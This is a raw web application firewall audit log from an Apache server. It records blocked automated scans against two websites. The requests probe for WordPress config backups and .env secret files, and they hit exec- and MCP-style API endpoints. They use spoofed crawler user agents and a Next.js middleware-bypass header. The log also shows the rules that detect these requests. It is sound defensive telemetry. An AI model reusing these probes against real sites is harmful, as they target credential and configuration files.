Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php~"] [unique_id "aqZA3GM7dE9KgIIOpQhrAQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476349101 468939 (- - -)
Stopwatch2: 1789280476349101 468939; combined=43372, p1=224, p2=43080, p3=0, p4=0, p5=67, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--640c3120-Z--
--ea534d72-A--
[13/Sep/2026:09:21:16.828827 +0300] aqZA2zTJ6xTvcJoem7f4TAAAAEM 34.181.172.83 56404 127.0.0.1 7081
--ea534d72-B--
GET /web/.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ea534d72-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ea534d72-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/web/.env"] [unique_id "aqZA2zTJ6xTvcJoem7f4TAAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280475706944 1121938 (- - -)
Stopwatch2: 1789280475706944 1121938; combined=4794, p1=240, p2=4502, p3=0, p4=0, p5=52, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea534d72-Z--
--1838f20b-A--
[13/Sep/2026:09:21:17.107710 +0300] aqZA3CsVWymXUono-eRTCwAAABY 34.181.172.83 56598 127.0.0.1 7081
--1838f20b-B--
GET /wp-config.php.swp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1838f20b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1838f20b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZA3CsVWymXUono-eRTCwAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280476988566 119241 (- - -)
Stopwatch2: 1789280476988566 119241; combined=37288, p1=238, p2=36937, p3=0, p4=0, p5=113, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1838f20b-Z--
--809c4860-A--
[13/Sep/2026:09:21:20.106942 +0300] aqZA32M7dE9KgIIOpQhrDwAAANc 34.181.172.83 56868 127.0.0.1 7081
--809c4860-B--
POST /api HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2smhkx4i2wpvwv
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--809c4860-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--809c4860-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280479998478 108548 (- - -)
Stopwatch2: 1789280479998478 108548; combined=11596, p1=1014, p2=10187, p3=0, p4=0, p5=394, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--809c4860-Z--
--963fd72b-A--
[13/Sep/2026:09:21:20.478081 +0300] aqZA4DTJ6xTvcJoem7f4YQAAAFg 34.181.172.83 56880 127.0.0.1 7081
--963fd72b-B--
POST /api/v1/validate/code HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--963fd72b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--963fd72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280480391139 86994 (- - -)
Stopwatch2: 1789280480391139 86994; combined=5345, p1=248, p2=4780, p3=0, p4=0, p5=316, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--963fd72b-Z--
--19c11f10-A--
[13/Sep/2026:09:21:20.804142 +0300] aqZA4GM7dE9KgIIOpQhrEAAAANI 34.181.172.83 56890 127.0.0.1 7081
--19c11f10-B--
POST /api/fs/exec HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--19c11f10-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--19c11f10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280480701834 102363 (- - -)
Stopwatch2: 1789280480701834 102363; combined=7958, p1=236, p2=4581, p3=0, p4=0, p5=3140, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19c11f10-Z--
--c40b7d29-A--
[13/Sep/2026:09:21:21.209674 +0300] aqZA4WM7dE9KgIIOpQhrEQAAAMA 34.181.172.83 56902 127.0.0.1 7081
--c40b7d29-B--
DELETE /api/inngest HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--c40b7d29-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c40b7d29-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481086863 122900 (- - -)
Stopwatch2: 1789280481086863 122900; combined=4215, p1=267, p2=3624, p3=0, p4=0, p5=323, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c40b7d29-Z--
--8154783d-A--
[13/Sep/2026:09:21:21.470519 +0300] aqZA4Uwu1RSkptiiNIXz8AAAAIA 34.181.172.83 56906 127.0.0.1 7081
--8154783d-B--
DELETE /inngest HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--8154783d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8154783d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481388334 82237 (- - -)
Stopwatch2: 1789280481388334 82237; combined=5244, p1=294, p2=4559, p3=0, p4=0, p5=390, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8154783d-Z--
--cb08f761-A--
[13/Sep/2026:09:21:21.714022 +0300] aqZA4WM7dE9KgIIOpQhrEgAAAMI 34.181.172.83 56912 127.0.0.1 7081
--cb08f761-B--
POST /read-document HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--cb08f761-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cb08f761-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280481634903 79175 (- - -)
Stopwatch2: 1789280481634903 79175; combined=5522, p1=284, p2=4965, p3=0, p4=0, p5=272, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cb08f761-Z--
--4353c277-A--
[13/Sep/2026:09:21:22.082943 +0300] aqZA4mM7dE9KgIIOpQhrEwAAANY 34.181.172.83 56914 127.0.0.1 7081
--4353c277-B--
POST /read-document HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--4353c277-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4353c277-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280482005262 77732 (- - -)
Stopwatch2: 1789280482005262 77732; combined=5008, p1=261, p2=4486, p3=0, p4=0, p5=260, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4353c277-Z--
--d03b567d-A--
[13/Sep/2026:09:21:22.402871 +0300] aqZA4kwu1RSkptiiNIXz8QAAAJY 34.181.172.83 56928 127.0.0.1 7081
--d03b567d-B--
POST /mcp HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Accept-Encoding: gzip
--d03b567d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d03b567d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280482322849 80106 (- - -)
Stopwatch2: 1789280482322849 80106; combined=8938, p1=250, p2=8279, p3=0, p4=0, p5=409, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d03b567d-Z--
--34835178-A--
[13/Sep/2026:09:25:30.547065 +0300] aqZB2jTJ6xTvcJoem7f4cwAAAFU 169.40.142.190 60148 127.0.0.1 7081
--34835178-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--34835178-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--34835178-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB2jTJ6xTvcJoem7f4cwAAAFU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB2jTJ6xTvcJoem7f4cwAAAFU"]
Action: Intercepted (phase 2)
Stopwatch: 1789280730486864 60246 (- - -)
Stopwatch2: 1789280730486864 60246; combined=58870, p1=277, p2=58291, p3=0, p4=0, p5=301, sr=127, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34835178-Z--
--668cba2f-A--
[13/Sep/2026:09:25:31.318935 +0300] aqZB22M7dE9KgIIOpQhrSQAAAME 169.40.142.190 60164 127.0.0.1 7081
--668cba2f-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--668cba2f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--668cba2f-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB22M7dE9KgIIOpQhrSQAAAME"]
